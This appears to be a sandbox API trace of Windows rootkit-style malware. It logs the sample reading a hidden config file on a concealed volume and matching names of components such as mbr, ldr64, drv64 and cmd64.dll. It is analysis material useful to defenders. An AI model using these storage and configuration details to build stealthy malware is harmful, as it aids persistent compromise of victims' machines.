IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.701] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.701] KeEnterCriticalRegion () [0119.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.701] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0119.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.701] IdePortDispatch () returned 0x103 [0119.701] KeWaitForMutexObject () returned 0x0 [0119.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.701] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.701] IdePortDispatch () returned 0x103 [0119.702] KeWaitForMutexObject () returned 0x0 [0119.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] KeLeaveCriticalRegion () [0119.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.702] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.702] KeEnterCriticalRegion () [0119.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] KeLeaveCriticalRegion () [0119.702] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.702] KeEnterCriticalRegion () [0119.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] KeLeaveCriticalRegion () [0119.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.702] KeEnterCriticalRegion () [0119.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] ExFreePoolWithTag (P=0xfffffa8003bca8a0, Tag=0x0) [0119.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.702] KeLeaveCriticalRegion () [0119.702] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.702] ReleaseMutex (hMutex=0xf0) returned 1 [0119.702] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.703] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.703] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.703] KeEnterCriticalRegion () [0119.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.703] IdePortDispatch () returned 0x103 [0119.703] KeWaitForMutexObject () returned 0x0 [0119.703] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.703] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.703] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.703] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.703] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.703] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.703] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.703] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.703] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.703] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.703] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.703] KeLeaveCriticalRegion () [0119.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.703] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.703] KeEnterCriticalRegion () [0119.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.703] IdePortDispatch () returned 0x103 [0119.704] KeWaitForMutexObject () returned 0x0 [0119.704] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.704] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.704] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.704] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.704] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.704] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.704] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.704] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.704] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.704] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.704] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.704] KeLeaveCriticalRegion () [0119.704] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.704] ReleaseMutex (hMutex=0x100) returned 1 [0119.704] Sleep (dwMilliseconds=0x2bf20) [0119.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a8d0f90, dwHighDateTime=0x1d24fa4)) [0119.710] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.710] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.710] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.710] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.710] KeEnterCriticalRegion () [0119.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.710] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.710] IdePortDispatch () returned 0x103 [0119.711] KeWaitForMutexObject () returned 0x0 [0119.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcafb0 [0119.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.711] KeLeaveCriticalRegion () [0119.711] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.711] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.711] KeEnterCriticalRegion () [0119.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.711] KeLeaveCriticalRegion () [0119.711] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.711] KeEnterCriticalRegion () [0119.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.711] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.711] IdePortDispatch () returned 0x103 [0119.711] KeWaitForMutexObject () returned 0x0 [0119.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.711] KeLeaveCriticalRegion () [0119.711] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.711] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.712] KeEnterCriticalRegion () [0119.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348a000 [0119.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.712] IdePortDispatch () returned 0x103 [0119.712] KeWaitForMutexObject () returned 0x0 [0119.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.712] IdePortDispatch () returned 0x103 [0119.712] KeWaitForMutexObject () returned 0x0 [0119.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.712] KeLeaveCriticalRegion () [0119.712] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.713] KeEnterCriticalRegion () [0119.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] KeLeaveCriticalRegion () [0119.713] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.713] KeEnterCriticalRegion () [0119.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] KeLeaveCriticalRegion () [0119.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.713] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.713] KeEnterCriticalRegion () [0119.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] ExFreePoolWithTag (P=0xfffffa8003bcafb0, Tag=0x0) [0119.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] KeLeaveCriticalRegion () [0119.713] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.713] ReleaseMutex (hMutex=0xf0) returned 1 [0119.713] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.713] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.713] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.713] KeEnterCriticalRegion () [0119.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.713] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.713] IdePortDispatch () returned 0x103 [0119.714] KeWaitForMutexObject () returned 0x0 [0119.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.714] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.714] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.714] KeLeaveCriticalRegion () [0119.714] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.714] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.714] KeEnterCriticalRegion () [0119.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.714] KeLeaveCriticalRegion () [0119.714] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.714] KeEnterCriticalRegion () [0119.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.714] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.714] IdePortDispatch () returned 0x103 [0119.714] KeWaitForMutexObject () returned 0x0 [0119.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.714] KeLeaveCriticalRegion () [0119.714] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.715] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.715] KeEnterCriticalRegion () [0119.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348b000 [0119.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.715] IdePortDispatch () returned 0x103 [0119.715] KeWaitForMutexObject () returned 0x0 [0119.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.715] IdePortDispatch () returned 0x103 [0119.715] KeWaitForMutexObject () returned 0x0 [0119.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.715] KeLeaveCriticalRegion () [0119.715] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.716] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.716] KeEnterCriticalRegion () [0119.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] KeLeaveCriticalRegion () [0119.716] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.716] KeEnterCriticalRegion () [0119.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.716] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] KeLeaveCriticalRegion () [0119.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.716] KeEnterCriticalRegion () [0119.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] KeLeaveCriticalRegion () [0119.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.716] ReleaseMutex (hMutex=0xf0) returned 1 [0119.716] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.716] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.716] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.716] KeEnterCriticalRegion () [0119.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 